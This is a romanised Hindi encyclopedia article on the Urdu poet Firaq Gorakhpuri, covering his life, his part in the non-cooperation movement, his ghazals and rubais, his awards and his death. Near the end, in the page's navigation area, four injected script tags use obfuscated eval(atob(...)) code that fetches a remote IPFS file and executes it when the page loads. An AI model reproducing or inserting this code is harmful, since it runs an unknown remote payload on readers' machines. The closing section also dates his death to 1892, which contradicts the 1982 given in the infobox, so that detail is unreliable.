फ़िराक़ गोरखपुरी

	firaq gorakhapuri
	firaq gorakhapuri\|200px\|center
poora nam	raghupati sahay 'firaq gorakhapuri'
janm	28 agast, 1896
janm bhoomi	gorakhapur, uttar pradesh
mrityu	3 march, 1982
mrityu sthan	dilli
abhibhavak	pita- muanshi gorakh prasad
pati/patni	kishori devi
karm bhoomi	bharat
karm-kshetr	sahity
mukhy rachanaean	gul-e-nagama, gule-e-rana, roohe-kayanat, mashal, roop (rubaee), shabistan, saragam, bazm-e-ziandagi rang-e-shayari, parachhaiyaan, taran-e-ishq adi.
bhasha	urdoo, farasi, hiandi, brajabhasha
vidyalay	ilahabad vishvavidyalay
shiksha	em. e. (aangrezi sahity)
puraskar-upadhi	sahity akadami puraskar, jnanapith puraskar, padm bhooshan
prasiddhi	urdoo shayar, shikshak
nagarikata	bharatiy
any janakari	gaandhi ji ke sath asahayog andolan mean sammilit hue aur jel bhi gaye. kuchh dinoan anand bhavan, ilahabad mean pandit neharoo ke sahayak ke roop mean kaangres ka kamakaj bhi dekha.
inhean bhi dekhean	kavi soochi, sahityakar soochi

firaq gorakhapuri (aangrezi: Firaq Gorakhpuri, vastavik nam- 'raghupati sahay', janm- 28 agast, 1896, gorakhapur, uttar pradesh; mrityu- 3 march, 1982, dilli) bharat ke prasiddhi prapt aur urdoo ke mane hue shayar the. 'phirak' unaka takhallus tha. unhean urdoo kavita ko boliyoan se jo d kar usamean nee loch aur rangat paida karane ka shrey diya jata hai. firaq gorakhapuri ne apane sahityik jivan ka aranbh gazal se kiya tha. farasi, hindi, brajabhasha aur bharatiy sanskriti ki gahari samajh hone ke karan unaki shayari mean bharat ki mool pahachan rach-bas gee hai. unhean 'sahity akadami puraskar', 'jnanapith puraskar' aur 'soviyat laind neharoo avard' se bhi sammanit kiya gaya tha. varsh 1970 mean unhean 'sahity akadami' ka sadasy bhi manonit kiya gaya tha.

janm tatha shiksha

urdoo ke mashahoor shayar firaq gorakhapuri ka janm 28 agast, varsh 1896 ee. mean gorakhapur, uttar pradesh mean hua tha. firaq ka poora nam 'raghupati sahay firaq' tha, kiantu apani shayari mean ve apana upanam 'firaq' likhate the. unake pita ka nam muanshi gorakh prasad tha, jo peshe se vakil the. muanshi gorakh prasad bhale hi vakil the, kiantu shayari mean bhi unaka bahut nam tha. is prakar yah kah sakate haian ki shayari firaq sahab ko virasat mean mili thi. firaq gorakhapuri ne 'ilahabad vishvavidyalay' mean shiksha prapt ki thi. unhoanne bi. e. mean poore pradesh mean chautha sthan prapt kiya tha. isake bad ve dipti kalektar ke pad par niyukt hue.

vivah

firaq ji ka vivah 29 joon, 1914 ko prasiddh zamiandar vindeshvari prasad ki beti kishori devi se hua. vo bhi tab jab patni ke sath ek chhat ke niche rahate hue bhi unaki vyaktigat ziandagi ekaki hi biti. yuvavastha mean hua unaka vivah unake lie jivan ki sabase kashtaprad ghatana thi.^[1]-

sunate haian ishq nam ke gujare haian ik bujurg
ham log bhi murid isi silasile ke haian

vyaktitv

firaq ka vyaktitv bahut jatil tha. 'tadbhav'^[2] ke satavean aank mean firak gorakhapuri par 'vishvanath tripathi' ne bahut vistar se sansmaran likha hai. phirak sahab milanasar the, hajirajavab the aur viti the. apane bare mean tamam ulti-sidhi batean khud karate the. unake yahaan unake dvara hi pracharit chutakule atmavijnapan pramukh ho gaye . apane du:kh ko badha-chadhakar batate the. svabhimani hamesha rahe. pahanave mean ajib laparavahi jhalakati thi- 'topi se bahar jhaankate huye bikhare bal, sheravani ke khule batan,dhila-dhala(aur kabhi-kabhi behad ganda aur musa hua) paijama, latakata hua ijaraband, ek hath mean sigaret aur doosare mean gh di, gahari-gahari aur gol-gol- das lene vali-si aankhoan mean unake vyaktitv ka phakk dapan khoob jahir hota tha.'

lekin bisavian sadi ke is mahanh shayar ki gahan ganbhirata aur vidvata ka aandazunaki shayari se hi pata chalata hai. jab ve likhate haian :-

jao n tum hamari is bekhabari par ki hamare
har khh‍़vab se ik ahh‌d ki buniyad p di hai.

phirak sahab ki kavita mean saundary ke b de komal aur achhoote anubhav vyakt huye haian. ek sher hai:-

kisi ka yooan to hua kaun umr bhar phir bhi
ye husnoan ishk dhokha hai sab magar phir bhi.

1962 ki chin ki l daee ke samay phirak sahab ki yah gajal bahut mashahoor huee:-

sukhan ki shammaan jalao bahut udas hai rat
navae mir sunao bahut udas hai rat
koee kahe ye khayaloan aur khvaboan se
diloan se door n jao bahut udas hai rat
p de ho dhuandhali phijaoan mean muanh lapete huye
sitaroan samane ao bahut udas hai rat.

shayad apane jivan ke akhiri dinoan mean phirak sahab ne likha:-

ab tumase rukhasat hota hooan ao sanbhalo saje़- gajal,
naye tarane chhedo़, mere nagh‍़moan ko niand ati hai.

apane bare mean apane khas aandazamean likhate huye phirak sahab ne likha tha:-

ane vali naslean tum par rashk kareangi hamasroan
jab ye khyal ayega unako, tumane firaq ko dekha tha.^[3]

andolan mean bhagedari

isi bich desh ki azadi ke lie sangharsharat rashtrapita mahatma gaandhi ne 'asahayog andolan' chhe da to firaq gorakhapuri ne apani naukari tyag di aur andolan mean kood p de. unhean giraphtar kiya gaya aur dedh sal ki saza bhi huee. jel se chhootane ke bad pandit javaharalal neharoo ne 'akhil bharatiy kaangres' ke daphtar mean 'andar sekretari' ki jagah par unhean rakhava diya. bad mean neharoo ji ke yoorop chale jane ke bad unhoanne kaangres ka 'andar sekretari' ka pad chho d diya. isake bad 'ilahabad vishvavidyalay' mean varsh 1930 se lekar 1959 tak aangrezi ke adhyapak rahe.

sahityik jivan

firaq gorakhapuri ne apane sahityik jivan ka aranbh gazal se kiya tha. apane sahityik jivan ke aranbhik samay mean 6 disanbar, 1926 ko british sarakar ke rajanitik bandi banae ge the. urdoo shayari ka b da hissa roomaniyat, rahasy aur shastriyata se bandha raha hai, jisamean lokajivan aur prakriti ke paksh bahut kam ubhar pae haian. firaq ji ne paranparagat bhavabodh aur shabd-bhandar ka upayog karate hue use nayi bhasha aur ne vishayoan se jo da. unake yahaan samajik dukh-dard vyaktigat anubhooti banakar shayari mean dhala hai. dainik jivan ke k dave sach aur ane vale kal ke prati ummid, donoan ko bharatiy sanskriti aur lokabhasha ke pratikoan se jo dakar firaq ji ne apani shayari ka anootha mahal kh da kiya. farasi, hiandi, brajabhasha aur bharatiy sanskriti ki gahari samajh ke karan unaki shayari mean bharat ki mool pahachan rach-bas gee hai.

kritiyaan

firaq gorakhapuri ne b di matra mean rachanaean ki thian. unaki shayari b di uchchakoti ki mani jati haian. ve b de nirbhik shayar the. unake kavita sangrah 'gulenagma' par 1960 mean unhean 'sahity akadami ka puraskar mila aur isi rachana par ve 1969 mean bharat ke ek aur pratishthit samman 'jnanapith puraskar' se sammanit kiye gaye the. unhoanne ek upanyas 'sadhu aur kutiya' aur kee kahaniyaan bhi likhi thian. urdoo, hindi aur aangrezi bhasha mean unaki das gady kritiyaan bhi prakashit huee haian. firaq gorakhapuri ki kuchh pramukh rachanaean nimnalikhit haian-

firaq ki pramukh shayari, nazmean aur rubaiyaan
kr. s.	rachana	kr. s.	rachana
1.	gul-e-nagama	2.	mashal
3.	roohe-kayanat	4.	nagm-e-saj
5.	gajalistan	6.	sheristan
7.	shabistan	8.	roop
9.	dharati ki karavat	10.	ramj v kayanat
11.	chiragaan	12.	shoala v saj
13.	hazar dastan	14.	bazm-e-ziandagi rang-e-shayari
15.	gulabag	16.	juganoo
17.	nakoosh	18.	adhirat
19.	parachhaiyaan	20.	taran-e-ishq

[[chitr:Firaq Gorakhpuri-stamp.jpg|thumb|firaq sahab ke samman mean dak tikat]]

shaili

firaq gorakhapuri ne gazal, nazm aur rubaee tinoan vidhaoan mean kafi kaha hai. rubaee, nazm ki hi ek vidha hai, lekin asani ke lie ise nazm se alag kar liya gaya. unake kalam ka sabase bada aur aham hissa gazal hai aur yahi firaq ki pahachan hai. vah sauandaryabodh ke shayar haian aur yah bhav gazal aur rubaee donoan mean barabar vyakt hua hai. firaq sahab ne gazal aur rubaee ko naya lahaja aur nee avaz ada ki. is avaz mean atit ki gooanj bhi hai, vartaman ki bechaini bhi. farasi, hindi, brajabhasha aur hindoo dharm ki sanskriti ki gahari janakari ki vajah se unaki shayari mean hindustan ki mitti rach-bas gee hai. yah tathy bhi vichar karane yogy hai ki unaki shayari mean ashik aur mahaboob paranpara se bilkul alag apana svatantr sansar basaye hue haian-

sham bhi thi dhuaan-dhuaan, husn bhi tha udas-udas.
dil ko kee kahaniyaan yad si a ke rah gee॥

firaq sahab ki rubaiyoan mean tootakar mohabbat karane vali hiandustani aurat ki aisi khoobasoorat tasvirean milati haian, jinaki misal mushkil se milegi-

nirmal jal se naha ke ras se nikali putali,

baloan mean agarache ki khushaboo lipati.
satarang dhanush ki tarah hathoan ko uthaye,

phailati hai alagani par gili sadi॥^[4]

'roop' ki rubaiyaan

firaq gorakhapuri ka kahana tha ki 'roop' ki rubaeeyoan mean ni:ssandeh hi ek bharatiy hindoo stri ka chehara hai, chahe rubaeeyaan urdoo mean hi kyoan n likhi gee hoan. 'roop' ki bhoomika mean ve likhate haian- "muslim kalchar bahut ooanchi chij hai, aur pavitr chij hai, magar usamean prakriti, bal jivan, naritv ka vah chitran ya ghareloo jivan ki vah boo–bas nahian milati, ve jadoo bhare bhed nahian milate, jo hindoo kalchar mean milate haian. kalchar ki yahi dharana hindoo gharanoan ke bartanoan mean, yahaan tak ki mitti ke bartanoan mean, dipakoan mean, khilaunoan mean, yahaan tak ki choolhe-chakki mean, chhoti-chhoti rasmoan mean aur hindoo ki saans mean isi ki dhvaniyaan, hindoo lokagitoan ko atyant manaviy sangit aur svargik sangit bana deti hai."^[5]

babul mor nihar chhutal jae
oo dayodhi to parabat bhee, aangan bhayo bides

gajal, nazm aur rubaee

phiraq ne urdoo jagath ko gajaloan, nazmoan aur rubaiyoan ki ek b di saugat di hai.-

"bahut pahale se un kadamoan ki ahat jan lete haian,
tujhe ai ziandagi ham door se pahachan lete hai"

ya phir ...

"shame-gam kuchh us nigahe-naz ki batean karo,
bekhudi badhati chali hai raz ki batean karo"

ya phir ...

"n hairat kar tere age jo ham kuchh chup se rahate haian
hamare daramiyaan-ai-dost lakhoan khvab hayal hai"

phiraq sahab ek saundaryapriy vyakti the. badasoorati unhean kisi soorat mean bardasht nahian thi shayad yahi karan tha jisane unake parivarik jivan ko tahas-nahas kar diya tha. phiraq ke ek vaktavy ke anusar, "unaka ek aisi badasoorati se pala p da jisane unake khoon mean zahar ghol diya". shayad yahi vajah hai ki phiraq ne jis bivi ko thukara diya tha, usaki talash "roop" ki rubaiyoan mean karate rahe. unaki rubaee ki jhalak dekhiye-

ain e nil gooan se phooti hai kiran
akash pe adhakhile kanval ka joban
yooan udi faza mean lahalahati hai shafak
jis tarah khile tere tabassum ka chaman.

dabang shakhsiyat

phiraq ek behad muanhaphat aur dabang shakhsiyat the. ek bar ve ek mushayare mean shirakat kar rahe the, kafi der bad unhean manch par amantrit kiya gaya. phiraq ne maik sanbhalate hi chutaki li aur bole, 'hajarat! abhi ap kavvali sun rahe the ab kuchh sher sunie'. isi tarah ilahabad vishvavidyalay ke log hamesha phiraq aur unake sahapathi amaranath jha ko l da dene ki koshish karate rahate the. ek mahaphil mean phiraq aur jha donoan hi the ek sahab darshakoan ko sanbodhit karate hue bole,'phiraq sahab har bat mean jha sahab se kamatar haian" is par phiraq turant uthe aur bole, "bhaee amaranath mere gahare dost haian aur unamean ek khas khoobi hai ki vo apani jhoothi tariph bilakul pasand nahian karate". phiraq ki hazir-javabi ne un hazarat ka mijaz durust kar diya.^[6]

samman aur puraskar

'sahity akadami puraskar' - 1960 mean 'gul-e-nagama' ke lie.
'soviyat laiand neharoo avard' - 1968
'jnanapith puraskar' - 1969 mean 'gul-e-nagama' ke liye .
1968 mean firaq gorakhapuri ko sahity evan shiksha ke kshetr mean bharat sarakar dvara 'padm bhooshan' se bhi sammanit kiya gaya.

nidhan

apane aantim dinoan mean jab sharirik asvasthata nirantar unhean gher rahi thi vo kafi akele ho ge the. apane akelepan ko unhoanne kuchh is tarah bayaan kiya-

'ab aksar chup-chup se rahe haian, yooan hi kabhooan lab khole haian,
pahale phiraq ko dekha hota ab to bahut kam bole haian'.

3 march, 1892 mean firaq gorakhapuri ka dehaant ho gaya. phiraq gorakhapuri urdoo nakshatr ka vo jagamagata sitara haian jisaki raushani aj bhi shayari ko ek naya maqa de rahi hai. is alamast shayar ki shayari ki gooanj hamare diloan mean hamesha jianda rahegi. bakaul phiraq 'ai maut ake khamosh kar gee too, sadiyoan diloan ke andar ham gooanjate raheange'.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ firaq gorakhapuri:hizaboan mean bhi too numayaan noomayaan (hiandi). . abhigaman tithi: 4 march, 2013.
↑ firaq varta- vishvanath tripathi- tadh‌bhav -aank 7 aprail, 2002
↑ raghupati sahay firaq’ gorakhapuri (hiandi). . abhigaman tithi: 4 march, 2013.
↑ ganga-jamuni tahajib ke shayar firaq gorakhapuri (hindi) yahoo jagaran d aaut k aaum. abhigaman tithi: 3 march, 2012.
↑ bharatiy saundary aur prem ka jadoo (hindi). . abhigaman tithi: 2 march, 2013.
↑ alamast shayar firaq gorakhapuri (hiandi). . abhigaman tithi: 4 march, 2013.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh 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[1] raq gorakhapuri:hizaboan mean bhi too numayaan noomayaan (hiandi). . abhigaman tithi: 4 march, 2013.

[2] raq varta- vishvanath tripathi- tadh‌bhav -aank 7 aprail, 2002

[3] raghupati sahay firaq’ gorakhapuri (hiandi). . abhigaman tithi: 4 march, 2013.

[4] -jamuni tahajib ke shayar firaq gorakhapuri (hindi) yahoo jagaran d aaut k aaum. abhigaman tithi: 3 march, 2012.

[5] ratiy saundary aur prem ka jadoo (hindi). . abhigaman tithi: 2 march, 2013.

[6] st shayar firaq gorakhapuri (hiandi). . abhigaman tithi: 4 march, 2013.

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[6]